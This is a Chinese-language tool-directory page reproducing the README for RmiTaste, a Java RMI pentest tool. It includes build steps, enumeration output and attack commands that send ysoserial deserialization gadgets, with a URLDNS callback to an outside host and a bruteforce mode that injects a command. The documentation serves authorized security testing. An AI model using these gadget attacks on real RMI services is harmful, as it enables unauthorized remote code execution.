Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/stmcyber/rmitaste
漏洞分析漏洞利用渗透测试
GitHubstmcyber/rmitaste

RmiTaste

Java RMI 安全测试工具,用于检测、枚举和利用不安全的 RMI 服务,通过 ysoserial 反序列化漏洞利用链实现远程代码执行。

查看仓库网站
10920175年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

许可

RmiTaste

RmiTaste 允许安全专业人员通过使用 ysoserial 中的小工具调用远程方法来检测、枚举、交互和攻击 RMI 服务。它还允许使用特定参数调用远程方法。

免责声明

RmiTaste 旨在帮助安全专业人员识别系统中不安全的 RMI 服务,前提是用户已获得攻击该系统的许可。未经授权访问计算机系统是非法的,RmiTaste 必须遵守所有相关法律。否则可能导致您被起诉。RmiTaste 的开发者不承担任何责任,也不对因使用本程序造成的任何误用或损害负责。

构建与运行

需要 openjdk 11.0.3。

  1. 下载 ysoserial-master-SNAPSHOT.jar 并将其保存在 libs_attack 目录中 (https://github.com/frohoff/ysoserial)。
  2. 使用 maven 构建项目:
    root@kitploit:~
    mvn package
    
  3. 运行命令:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @作者 Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    警告:RmiTaste 旨在帮助安全专业人员识别系统中 RMI 服务的不安全使用,前提是用户已获得攻击该系统的许可。
    必须遵守所有相关法律,否则可能导致起诉。
    开发者不承担任何责任,也不对因使用本程序造成的任何误用或损害负责。
    
    

使用方法

RmiTaste 有 4 种模式:conn、enum、attack 和 call。每种模式都有独立的帮助。

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
用法:<主类> [-h] [命令]
  -h, --help   显示此帮助消息
命令:
  conn    检查与主机的连接
  enum    枚举 RMI 服务
  attack  攻击 RMI 注册表方法
  call    在 RMI 远程对象上调用特定方法

conn 模式

Conn 模式允许检查端口是否为 RMI 服务端口。

root@kitploit:~
# 检查 127.0.0.1:1099 是否为 RMI 服务
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

enum 模式

Enum 模式允许获取 RMI 服务的信息,例如:远程对象名称以及远程对象实现或继承的类名。如果远程对象实现的接口在 RmiTaste 类路径中可用,则 RmiTaste 将打印所有可以在此远程对象上调用的远程方法。

root@kitploit:~
# RMI 服务枚举
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

attack 模式

Attack 模式允许使用 ysoserial 中的特定小工具链调用远程方法。假设远程对象具有以下方法:

root@kitploit:~
acc1 [对象] [127.0.1.1:38293] 
         实现 java.rmi.Remote [接口]
         扩展 java.lang.reflect.Proxy [类]
         实现 m0.rmitaste.example.server.ClientAccount [接口]
                setPin(java.lang.String param0); [方法]
                        参数: param0;  可能容易受到 Java 反序列化攻击![信息]
                getBalance(); [方法]
                deposit(java.lang.Object param0); [方法]
                        参数: param0;  可能容易受到 Java 反序列化攻击![信息]
                withdraw(float param0); [方法]
root@kitploit:~
# 使用 URLDNS 小工具作为参数调用所有远程方法
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# 使用 URLDNS 小工具作为参数调用 acc1:m0.rmitaste.example.server.ClientAccount:deposit 方法
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

选项 "-gen bruteforce" 允许使用 ysoserial 中的小工具对远程方法进行暴力破解。在此示例中,deposit 方法将使用 ysoserial 中的小工具多次调用。

root@kitploit:~
# 使用 ysoserial 中的小工具调用 acc1:m0.rmitaste.example.server.ClientAccount:deposit 方法,命令为 ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

call 模式

Call 模式允许在 RMI 远程对象上调用特定方法。假设远程对象具有以下方法:

root@kitploit:~
acc1 [对象] [127.0.1.1:38293] 
         实现 java.rmi.Remote [接口]
         扩展 java.lang.reflect.Proxy [类]
         实现 m0.rmitaste.example.server.ClientAccount [接口]
                setPin(java.lang.String param0); [方法]
                        参数: param0;  可能容易受到 Java 反序列化攻击![信息]
                getBalance(); [方法]
                deposit(java.lang.Object param0); [方法]
                        参数: param0;  可能容易受到 Java 反序列化攻击![信息]
                withdraw(float param0); [方法]
root@kitploit:~
# 在 acc1 远程对象上调用 m0.rmitaste.example.server.ClientAccount.getBalance 方法
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# 在 acc1 远程对象上调用 m0.rmitaste.example.server.ClientAccount.setPin("1234") 方法
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

示例

演示服务器可在此 链接 获取。

  1. 运行演示服务器。

  2. 枚举目标。

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [对象] [127.0.1.1:42881] 
   扩展 java.rmi.server.RemoteObjectInvocationHandler [类]
   实现 java.rmi.Remote [接口]
   扩展 java.lang.reflect.Proxy [类]
   扩展 java.rmi.server.RemoteObject [类]
   实现 m0.rmitaste.example.server.ClientAccount [接口]
  	未找到方法。我没有远程对象接口。请提供给我!

acc2 [对象] [127.0.1.1:42881] 
   扩展 java.rmi.server.RemoteObjectInvocationHandler [类]
   实现 java.rmi.Remote [接口]
   扩展 java.lang.reflect.Proxy [类]
   扩展 java.rmi.server.RemoteObject [类]
   实现 m0.rmitaste.example.server.ClientAccount [接口]
  	未找到方法。我没有远程对象接口。请提供给我!

如您所见,RmiTaste 需要远程对象的接口。在渗透测试中,您需要找到此接口。在本示例中,只需将 rmitaste.examples-1.0-SNAPSHOT-all.jar 复制到 libs_attack 目录中。 再次枚举目标:

root@kitploit:~
acc1 [对象] [127.0.1.1:42881] 
   扩展 java.rmi.server.RemoteObjectInvocationHandler [类]
   实现 java.rmi.Remote [接口]
   扩展 java.lang.reflect.Proxy [类]
   扩展 java.rmi.server.RemoteObject [类]
   实现 m0.rmitaste.example.server.ClientAccount [接口]
  	setPin(java.lang.String param0); [方法]
  		参数: param0;  可能容易受到 Java 反序列化攻击![信息]
  	getBalance(); [方法]
  	deposit(java.lang.Object param0); [方法]
  		参数: param0;  可能容易受到 Java 反序列化攻击![信息]
  	withdraw(float param0); [方法]

acc2 [对象] [127.0.1.1:42881] 
   扩展 java.rmi.server.RemoteObjectInvocationHandler [类]
   实现 java.rmi.Remote [接口]
   扩展 java.lang.reflect.Proxy [类]
   扩展 java.rmi.server.RemoteObject [类]
   实现 m0.rmitaste.example.server.ClientAccount [接口]
  	setPin(java.lang.String param0); [方法]
  		参数: param0;  可能容易受到 Java 反序列化攻击![信息]
  	getBalance(); [方法]
  	deposit(java.lang.Object param0); [方法]
  		参数: param0;  可能容易受到 Java 反序列化攻击![信息]
  	withdraw(float param0); [方法]

作者

Twitter: @_mzer0

灵感来源:BaRMIe 和 @h0ng10 的 文章

下载工具